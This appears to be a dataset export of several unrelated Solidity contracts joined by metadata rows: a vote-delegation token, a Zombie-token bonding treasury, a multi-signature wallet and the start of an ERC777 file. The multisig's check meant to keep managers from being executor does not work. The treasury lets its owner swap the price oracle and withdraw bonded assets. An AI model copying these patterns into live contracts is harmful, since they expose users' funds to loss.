uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "PAYTOKEN::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "PAYTOKEN::delegateBySig: invalid nonce");
require(now <= expiry, "PAYTOKEN::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "PAYTOKEN::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying PAYTOKENs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "PAYTOKEN::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 312,495 | 13,292 |
c423edb8545e882f5d4c1ac79eb7d7420643fa42b41f9b4a289d7b8d956f7eb4
| 17,508 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/20/203d5c358177334e238c51bbc7201a71a9dfa4a8_RebateTreasury.sol
| 3,213 | 12,521 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IOracle {
function update() external;
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut);
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut);
}
interface ITreasury {
function epoch() external view returns (uint256);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
contract RebateTreasury is Ownable {
struct Asset {
bool isAdded;
uint256 multiplier;
address oracle;
bool isLP;
address pair;
}
struct VestingSchedule {
uint256 amount;
uint256 period;
uint256 end;
uint256 claimed;
uint256 lastClaimed;
}
IERC20 public Zombie;
IOracle public ZombieOracle;
ITreasury public Treasury;
mapping (address => Asset) public assets;
mapping (address => VestingSchedule) public vesting;
uint256 public bondThreshold = 20 * 1e4;
uint256 public bondFactor = 80 * 1e4;
uint256 public secondaryThreshold = 70 * 1e4;
uint256 public secondaryFactor = 15 * 1e4;
uint256 public bondVesting = 3 days;
uint256 public totalVested = 0;
uint256 public lastBuyback;
uint256 public buybackAmount = 10 * 1e4;
address public constant WAVAX = 0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7;
uint256 public constant DENOMINATOR = 1e6;
// Only allow a function to be called with a bondable asset
modifier onlyAsset(address token) {
require(assets[token].isAdded, "RebateTreasury: token is not a bondable asset");
_;
}
// Initialize parameters
constructor(address zombie, address zombieOracle, address treasury) {
Zombie = IERC20(zombie);
ZombieOracle = IOracle(zombieOracle);
Treasury = ITreasury(treasury);
}
// Bond asset for discounted Zombie at bond rate
function bond(address token, uint256 amount) external onlyAsset(token) {
require(amount > 0, "RebateTreasury: invalid bond amount");
uint256 zombieAmount = getZombieReturn(token, amount);
require(zombieAmount <= Zombie.balanceOf(address(this)) - totalVested, "RebateTreasury: insufficient zombie balance");
IERC20(token).transferFrom(msg.sender, address(this), amount);
_claimVested(msg.sender);
VestingSchedule storage schedule = vesting[msg.sender];
schedule.amount = schedule.amount - schedule.claimed + zombieAmount;
schedule.period = bondVesting;
schedule.end = block.timestamp + bondVesting;
schedule.claimed = 0;
schedule.lastClaimed = block.timestamp;
totalVested += zombieAmount;
}
// Claim available Zombie rewards from bonding
function claimRewards() external {
_claimVested(msg.sender);
}
// Set Zombie token
function setZombie(address zombie) external onlyOwner {
Zombie = IERC20(zombie);
}
// Set Zombie oracle
function setZombieOracle(address oracle) external onlyOwner {
ZombieOracle = IOracle(oracle);
}
// Set Zombie treasury
function setTreasury(address treasury) external onlyOwner {
Treasury = ITreasury(treasury);
}
// Set bonding parameters of token
function setAsset(address token,
bool isAdded,
uint256 multiplier,
address oracle,
bool isLP,
address pair) external onlyOwner {
assets[token].isAdded = isAdded;
assets[token].multiplier = multiplier;
assets[token].oracle = oracle;
assets[token].isLP = isLP;
assets[token].pair = pair;
}
// Set bond pricing parameters
function setBondParameters(uint256 primaryThreshold,
uint256 primaryFactor,
uint256 secondThreshold,
uint256 secondFactor,
uint256 vestingPeriod) external onlyOwner {
bondThreshold = primaryThreshold;
bondFactor = primaryFactor;
secondaryThreshold = secondThreshold;
secondaryFactor = secondFactor;
bondVesting = vestingPeriod;
}
// Redeem assets for buyback under peg
function redeemAssetsForBuyback(address[] calldata tokens) external onlyOwner {
require(getZombiePrice() < 1e17, "RebateTreasury: unable to buy back");
uint256 epoch = Treasury.epoch();
require(lastBuyback != epoch, "RebateTreasury: already bought back");
lastBuyback = epoch;
for (uint256 t = 0; t < tokens.length; t ++) {
require(assets[tokens[t]].isAdded, "RebateTreasury: invalid token");
IERC20 Token = IERC20(tokens[t]);
Token.transfer(owner(), Token.balanceOf(address(this)) * buybackAmount / DENOMINATOR);
}
}
function _claimVested(address account) internal {
VestingSchedule storage schedule = vesting[account];
if (schedule.amount == 0 || schedule.amount == schedule.claimed) return;
if (block.timestamp <= schedule.lastClaimed || schedule.lastClaimed >= schedule.end) return;
uint256 duration = (block.timestamp > schedule.end ? schedule.end : block.timestamp) - schedule.lastClaimed;
uint256 claimable = schedule.amount * duration / schedule.period;
if (claimable == 0) return;
schedule.claimed += claimable;
schedule.lastClaimed = block.timestamp > schedule.end ? schedule.end : block.timestamp;
totalVested -= claimable;
Zombie.transfer(account, claimable);
}
// Calculate Zombie return of bonding amount of token
function getZombieReturn(address token, uint256 amount) public view onlyAsset(token) returns (uint256) {
uint256 zombiePrice = getZombiePrice();
uint256 tokenPrice = getTokenPrice(token);
uint256 bondPremium = getBondPremium();
return amount * tokenPrice * (bondPremium + DENOMINATOR) * assets[token].multiplier / (DENOMINATOR * DENOMINATOR) / zombiePrice;
}
// Calculate premium for bonds based on bonding curve
function getBondPremium() public view returns (uint256) {
uint256 zombiePrice = getZombiePrice();
if (zombiePrice < 1e17) return 0; // related to 0.1AVAX peg
uint256 zombiePremium = zombiePrice * DENOMINATOR / 1e17 - DENOMINATOR; // related to 1AVAX peg
if (zombiePremium < bondThreshold) return 0;
if (zombiePremium <= secondaryThreshold) {
return (zombiePremium - bondThreshold) * bondFactor / DENOMINATOR;
} else {
uint256 primaryPremium = (secondaryThreshold - bondThreshold) * bondFactor / DENOMINATOR;
return primaryPremium + (zombiePremium - secondaryThreshold) * secondaryFactor / DENOMINATOR;
}
}
// Get Zombie price from Oracle
function getZombiePrice() public view returns (uint256) {
return ZombieOracle.consult(address(Zombie), 1e18);
}
// Get token price from Oracle
function getTokenPrice(address token) public view onlyAsset(token) returns (uint256) {
Asset memory asset = assets[token];
IOracle Oracle = IOracle(asset.oracle);
if (!asset.isLP) {
return Oracle.consult(token, 1e18);
}
IUniswapV2Pair Pair = IUniswapV2Pair(asset.pair);
uint256 totalPairSupply = Pair.totalSupply();
address token0 = Pair.token0();
address token1 = Pair.token1();
(uint256 reserve0, uint256 reserve1,) = Pair.getReserves();
if (token1 == WAVAX) {
uint256 tokenPrice = Oracle.consult(token0, 1e18);
return tokenPrice * reserve0 / totalPairSupply +
reserve1 * 1e18 / totalPairSupply;
} else {
uint256 tokenPrice = Oracle.consult(token1, 1e18);
return tokenPrice * reserve1 / totalPairSupply +
reserve0 * 1e18 / totalPairSupply;
}
}
// Get claimable vested Zombie for account
function claimableZombie(address account) external view returns (uint256) {
VestingSchedule memory schedule = vesting[account];
if (block.timestamp <= schedule.lastClaimed || schedule.lastClaimed >= schedule.end) return 0;
uint256 duration = (block.timestamp > schedule.end ? schedule.end : block.timestamp) - schedule.lastClaimed;
return schedule.amount * duration / schedule.period;
}
}
| 75,393 | 13,293 |
10d2962e91da392b88eb744a3fb3559fd5bc082980c077d1e74991f16ff3eb48
| 20,409 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/44/447041e2c7278f86537db9Fd7B4F7FF0DAa72861_upfrontMultiSignatureWallet.sol
| 5,062 | 19,193 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.18 <0.9.0;
library Address {
function isContract(address _contract) internal view returns (bool) {
return _contract.code.length > 0;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier isOwner() virtual {
require(_msgSender() == _owner, "Caller must be the owner.");
_;
}
function renounceOwnership() external virtual isOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) external virtual isOwner {
require(newOwner != address(0));
_setOwner(newOwner);
}
function _setOwner(address newOwner) internal {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract ReentrancyGuard is Ownable {
bool internal locked;
modifier nonReEntrant() {
require(!locked, "No re-entrancy.");
locked = true;
_;
locked = false;
}
}
contract upfrontMultiSignatureWallet is ReentrancyGuard {
uint256 private PROPOSAL_DEADLINE;
uint256 private PROPOSAL_QUORUM;
uint256 private PROPOSAL_THRESHOLD;
address private EXECUTOR_ADDRESS;
bool private initialized;
struct managerDataStruct {
bool exists;
bool active;
}
struct delegateDataStruct {
bool exists;
mapping(address => delegateRelationDataStruct) relation;
address[] relationList;
}
struct delegateRelationDataStruct {
bool exists;
bool active;
uint256 timestamp;
}
struct proposalDataStruct {
bool exists;
bool approved;
uint256 created;
uint256 start;
uint256 end;
uint256 closed;
uint256 executed;
address creator;
string subject;
string description;
string canceled;
address[] target;
bytes[] data;
bytes[] response;
uint256 agreed;
mapping(address => votedProposalDataStruct) voted;
address[] votedList;
}
struct votedProposalDataStruct {
bool exists;
uint256 timestamp;
address signer;
bool agreed;
}
struct proposalReturnStruct {
bool approved;
uint256 created;
uint256 start;
uint256 end;
uint256 closed;
uint256 executed;
address creator;
string subject;
string description;
string canceled;
address[] target;
bytes[] data;
bytes[] response;
uint256 agreed;
votedProposalReturnStruct[] voted;
}
struct votedProposalReturnStruct {
uint256 timestamp;
address manager;
address signer;
bool agreed;
}
address[] private managerList;
mapping(address => managerDataStruct) private managerData;
address[] private delegateList;
mapping(address => delegateDataStruct) private delegateData;
uint256[] private proposalList;
mapping(uint256 => proposalDataStruct) private proposalData;
event addedManager(address indexed manager);
event revokedManager(address indexed manager);
event addedDelegate(address indexed manager, address delegate);
event revokedDelegate(address indexed manager, address delegate);
event SubmittedProposal(uint256 indexed id, address indexed creator);
event CanceledProposal(uint256 indexed id, string reason);
event ApprovedProposal(uint256 indexed id, uint256 agreed, uint256 total);
event DeniedProposal(uint256 indexed id, uint256 agreed, uint256 total);
event VotedProposal(uint256 indexed id, address indexed manager, address signer, bool agreed);
event ExecutedProposal(uint256 indexed id, address executor);
modifier isSelf() {
if (initialized) { require(msg.sender == address(this), "Caller must be internal."); }
_;
}
modifier isManager() {
require(managerData[_msgSender()].exists && managerData[_msgSender()].active, "Caller must be manager.");
_;
}
modifier isExecutor() {
require(_msgSender() == EXECUTOR_ADDRESS, "Caller must be executor.");
_;
}
modifier isProposal(uint256 id, bool openOnly, bool startedOnly) {
require(proposalData[id].exists, "Unknown proposal.");
if (openOnly) {
require(proposalData[id].closed == 0, "Proposal closed.");
if (startedOnly) { require(proposalData[id].start <= getCurrentTime(), "Proposal not yet started."); }
}
_;
}
modifier isApproved(uint256 id, bool approved) {
if (approved) {
require(proposalData[id].closed > 0 && proposalData[id].approved, "Proposal not yet approved.");
} else {
require(proposalData[id].closed == 0, "Proposal closed.");
}
_;
}
modifier isExecuted(uint256 id, bool executed) {
if (executed) {
require(proposalData[id].executed > 0, "Proposal not yet executed.");
} else {
require(proposalData[id].executed == 0, "Proposal already executed.");
}
_;
}
constructor(address[] memory _managers, address _executor, uint256 _deadline, uint256 _quorum, uint256 _threshold) {
uint256 cnt = _managers.length;
require(cnt >= 3, "Minimum managers not reached.");
unchecked {
for (uint256 m; m < cnt; m++) {
address manager = _managers[m];
require(manager != address(0), "Invalid manager.");
require(!Address.isContract(manager), "Invalid manager.");
require(!managerData[manager].exists, "Manager already exists.");
addManager(manager, false);
}
setProposalDeadline(_deadline);
setProposalQuorum(_quorum == 0 ? cnt / 2 : _quorum);
setProposalThreshold(_threshold == 0 ? (cnt / 2) + 1 : _threshold);
setExecutorAddress(_executor);
}
proposalList.push(0);
proposalData[0].exists = false;
initialized = true;
}
function getContractInfo() external view returns (uint256, uint256, uint256) {
return (PROPOSAL_DEADLINE, PROPOSAL_QUORUM, PROPOSAL_THRESHOLD);
}
function setProposalDeadline(uint256 _time) public isSelf {
require(_time >= 1 days, "Deadline cannot be less than 1 day.");
PROPOSAL_DEADLINE = _time;
}
function setProposalQuorum(uint256 _value) public isSelf {
uint256 managers = _countActiveManagers();
unchecked {
require(_value > 0 && _value <= managers / 2, "Maximum quorum must be less or equal than half the number of managers.");
}
PROPOSAL_QUORUM = _value;
}
function setProposalThreshold(uint256 _value) public isSelf {
uint256 managers = _countActiveManagers();
require(_value > 0 && _value < managers, "Maximum threshold must be less than the number of managers.");
PROPOSAL_THRESHOLD = _value;
}
function setExecutorAddress(address _address) public isSelf {
require(_address != address(0));
require(_address != address(this));
bool proceed;
uint256 cnt = managerList.length;
unchecked {
for (uint256 m; m < cnt; m++) {
if (managerList[m] == _address) { continue; }
proceed = true;
}
}
require(proceed, "Executor cannot be a manager.");
EXECUTOR_ADDRESS = _address;
}
function addManager(address _manager, bool _adjust) public isSelf {
require(_manager != address(0));
require(_manager != address(this));
require(EXECUTOR_ADDRESS != _manager, "Executor cannot be a manager.");
if (!managerData[_manager].exists) {
managerList.push(_manager);
managerData[_manager].exists = true;
}
managerData[_manager].active = true;
unchecked {
if (_adjust) {
uint256 managers = _countActiveManagers();
setProposalQuorum(managers / 2);
setProposalThreshold((managers / 2) + 1);
}
}
emit addedManager(_manager);
}
function revokeManager(address _manager, bool _adjust) public isSelf {
require(managerData[_manager].exists, "Unknown manager.");
uint256 managers = _countActiveManagers();
require(managers - 1 >= 3, "Minimum managers not reached.");
unchecked {
if (_adjust) {
setProposalQuorum((managers - 1) / 2);
setProposalThreshold(((managers - 1) / 2) + 1);
}
}
managerData[_manager].active = false;
uint256 cnt = proposalList.length;
unchecked {
for (uint256 p = 1; p < cnt; p++) {
if (proposalData[p].creator != _manager) { continue; }
if (bytes(proposalData[p].canceled).length > 0 || (proposalData[p].approved && (proposalData[p].executed > 0 || proposalData[p].target.length == 0))) { continue; }
proposalData[p].closed = getCurrentTime();
proposalData[p].canceled = "Manager has been revoked.";
}
}
emit revokedManager(_manager);
}
function getCurrentTime() internal view returns (uint256) {
return block.timestamp;
}
function getProposal(uint256 _id) public view isProposal(_id, false, false) returns (proposalReturnStruct memory) {
proposalReturnStruct memory proposal;
uint256 cnt = proposalData[_id].votedList.length;
proposal.approved = proposalData[_id].approved;
proposal.created = proposalData[_id].created;
proposal.start = proposalData[_id].start;
proposal.end = proposalData[_id].end;
proposal.closed = proposalData[_id].closed;
proposal.executed = proposalData[_id].executed;
proposal.creator = proposalData[_id].creator;
proposal.subject = proposalData[_id].subject;
proposal.description = proposalData[_id].description;
proposal.canceled = proposalData[_id].canceled;
proposal.target = proposalData[_id].target;
proposal.data = proposalData[_id].data;
proposal.response = proposalData[_id].response;
proposal.agreed = proposalData[_id].agreed;
proposal.voted = new votedProposalReturnStruct[](cnt);
unchecked {
for (uint256 i; i < cnt; i++) {
votedProposalDataStruct memory voted = proposalData[_id].voted[proposalData[_id].votedList[i]];
proposal.voted[i] = votedProposalReturnStruct(voted.timestamp, proposalData[_id].votedList[i], voted.signer, voted.agreed);
}
}
return proposal;
}
function cancelProposal(uint256 _id, string memory _reason) public isManager isProposal(_id, true, false) isApproved(_id, false) {
require(proposalData[_id].exists, "Unknown proposal.");
require(proposalData[_id].creator == msg.sender, "Not the creator.");
require(bytes(_reason).length > 0, "Specify a reason.");
proposalData[_id].closed = getCurrentTime();
proposalData[_id].canceled = _reason;
emit CanceledProposal(_id, _reason);
}
function voteProposal(uint256 _id, address _manager, bool agree) public isProposal(_id, true, true) isApproved(_id, false) {
require(managerData[_manager].exists && managerData[_manager].active, "Unknown manager.");
require(proposalData[_id].end > getCurrentTime(), "Voting deadline expired.");
if (proposalData[_id].voted[_manager].exists) { revert("You or your delegate have already voted."); }
if (_manager == msg.sender) {
require(managerData[msg.sender].exists && managerData[msg.sender].active, "Unknown manager.");
} else {
require(getManagerDelegate(_manager) == msg.sender, "Not authorized to vote.");
}
proposalData[_id].voted[_manager] = votedProposalDataStruct(true, getCurrentTime(), msg.sender, agree);
proposalData[_id].votedList.push(_manager);
unchecked {
if (agree) { proposalData[_id].agreed++; }
}
emit VotedProposal(_id, _manager, msg.sender, agree);
unchecked {
uint256 voted = proposalData[_id].votedList.length;
uint256 denied = voted - proposalData[_id].agreed;
uint256 managers = _countActiveManagers();
if ((voted == managers) || (proposalData[_id].agreed > denied && proposalData[_id].agreed >= PROPOSAL_THRESHOLD) || (proposalData[_id].agreed < denied && denied >= PROPOSAL_THRESHOLD)) {
proposalData[_id].closed = getCurrentTime();
if (proposalData[_id].agreed > denied) {
proposalData[_id].approved = true;
emit ApprovedProposal(_id,proposalData[_id].agreed, voted);
} else {
emit DeniedProposal(_id, proposalData[_id].agreed, voted);
}
}
}
}
function _hasReachedQuorum(uint256 _id) internal view returns (bool reached, bool agreed) {
uint256 voted = proposalData[_id].votedList.length;
if (voted == 0) { return (true, false); }
unchecked {
uint256 denied = voted - proposalData[_id].agreed;
if (proposalData[_id].agreed == denied) { return (true, false); }
reached = (proposalData[_id].agreed > denied ? proposalData[_id].agreed >= PROPOSAL_QUORUM : denied >= PROPOSAL_QUORUM);
return (reached, reached ? proposalData[_id].agreed > denied : false);
}
}
function submitProposal(string memory _subject, string memory _description, uint256 _time, address[] memory _contract, bytes[] memory _data) public isManager returns (uint256) {
require(bytes(_subject).length > 0, "Specify a subject.");
require(bytes(_description).length > 0, "Specify a description.");
require(_contract.length == _data.length, "Invalid number of params.");
uint256 id = proposalList.length;
proposalList.push(id);
proposalData[id].exists = true;
proposalData[id].created = getCurrentTime();
proposalData[id].start = _time < getCurrentTime() ? getCurrentTime() : _time;
proposalData[id].end = proposalData[id].start + PROPOSAL_DEADLINE;
proposalData[id].creator = msg.sender;
proposalData[id].subject = _subject;
proposalData[id].description = _description;
proposalData[id].target = _contract;
proposalData[id].data = _data;
emit SubmittedProposal(id, msg.sender);
return id;
}
function manualExecuteProposal(uint256 _id) external isManager isProposal(_id, false, false) isExecuted(_id, false) nonReEntrant returns (bytes[] memory) {
return _executeProposal(_id);
}
function autoExecuteProposal(uint256 _id) external isExecutor isProposal(_id, false, false) isExecuted(_id, false) nonReEntrant returns (bytes[] memory) {
return _executeProposal(_id);
}
function _executeProposal(uint256 _id) internal returns (bytes[] memory) {
if (proposalData[_id].approved) {
uint256 cnt = proposalData[_id].target.length;
require(cnt > 0, "Nothing to execute.");
bytes[] memory results = new bytes[](cnt);
unchecked {
for (uint256 i; i < cnt; i++) {
(bool success, bytes memory result) = proposalData[_id].target[i].call{ value: 0 }(proposalData[_id].data[i]);
if (success) {
results[i] = result;
continue;
}
if (result.length == 0) { revert("Function call reverted."); }
assembly {
let size := mload(result)
revert(add(32, result), size)
}
}
}
proposalData[_id].executed = getCurrentTime();
proposalData[_id].response = results;
emit ExecutedProposal(_id, _msgSender());
return results;
}
require(proposalData[_id].end <= getCurrentTime(), "Voting deadline not yet expired.");
proposalData[_id].closed = getCurrentTime();
uint256 voted = proposalData[_id].votedList.length;
(bool quorum, bool agreed) = _hasReachedQuorum(_id);
if (quorum) {
if (agreed) {
proposalData[_id].approved = true;
emit ApprovedProposal(_id, proposalData[_id].agreed, voted);
if (proposalData[_id].target.length == 0) { return new bytes[](0); }
return _executeProposal(_id);
}
emit DeniedProposal(_id, proposalData[_id].agreed, voted);
return new bytes[](0);
}
emit DeniedProposal(_id, proposalData[_id].agreed, voted);
return new bytes[](0);
}
function setManagerDelegate(address _delegate, bool _active) external isManager {
require(_delegate != address(0));
require(_delegate != msg.sender, "Cannot delegate to yourself.");
if (_active) {
address delegate = getManagerDelegate(msg.sender);
require(delegate != _delegate, "Delegate already active.");
require(delegate == address(0), "You can only have one active delegate.");
} else {
require(delegateData[_delegate].exists, "Unknown delegate address.");
}
if (delegateData[_delegate].exists) {
if (delegateData[_delegate].relation[msg.sender].exists) {
if (!_active && !delegateData[_delegate].relation[msg.sender].active) { revert("Delegate already inactive."); }
} else {
delegateData[_delegate].relation[msg.sender].exists = true;
delegateData[_delegate].relationList.push(msg.sender);
}
delegateData[_delegate].relation[msg.sender].active = _active;
delegateData[_delegate].relation[msg.sender].timestamp = getCurrentTime();
} else {
delegateList.push(_delegate);
delegateData[_delegate].exists = true;
delegateData[_delegate].relation[msg.sender] = delegateRelationDataStruct(true, _active, getCurrentTime());
delegateData[_delegate].relationList.push(msg.sender);
}
if (_active) {
emit addedDelegate(msg.sender, _delegate);
} else {
emit revokedDelegate(msg.sender, _delegate);
}
}
function getManagerDelegate(address _manager) public view returns (address) {
require(managerData[_manager].exists, "Unknown manager.");
address delegate;
uint256 dcnt = delegateList.length;
if (dcnt == 0) { return delegate; }
unchecked {
for (uint256 d; d < dcnt; d++) {
uint256 rcnt = delegateData[delegateList[d]].relationList.length;
for (uint256 r; r < rcnt; r++) {
if (delegateData[delegateList[d]].relationList[r] != _manager) { continue; }
if (!delegateData[delegateList[d]].relation[_manager].exists) { continue; }
if (!delegateData[delegateList[d]].relation[_manager].active) { continue; }
delegate = delegateList[d];
break;
}
}
}
return delegate;
}
function listManagers(bool _active) external view returns (address[] memory) {
uint256 cnt = managerList.length;
uint256 len = _active ? _countActiveManagers() : cnt;
uint256 i;
address[] memory data = new address[](len);
unchecked {
for (uint256 m; m < cnt; m++) {
if (_active && !managerData[managerList[m]].active) { continue; }
data[i++] = managerList[m];
}
}
return data;
}
function listProposals() external view returns (proposalReturnStruct[] memory) {
uint256 cnt = proposalList.length;
proposalReturnStruct[] memory data = new proposalReturnStruct[](cnt);
unchecked {
for (uint256 p = 1; p < cnt; p++) { data[p] = getProposal(p); }
}
return data;
}
function _countActiveManagers() internal view returns (uint256) {
uint256 cnt = managerList.length;
uint256 active;
unchecked {
for (uint256 m; m < cnt; m++) {
if (!managerData[managerList[m]].active) { continue; }
active++;
}
}
return active;
}
}
| 39,403 | 13,294 |
c5f17300be1ec4a936d441b5c321802ea2c29441adebe54e490d44bae230285d
| 44,964 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
ozopenzeppelin-contracts/token/ERC777/ERC777_flat.sol
| 4,519 | 19,430 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC777/ERC777.sol)
pragma solidity ^0.8.0;
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC777/IERC777.sol)
interface IERC777 {
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
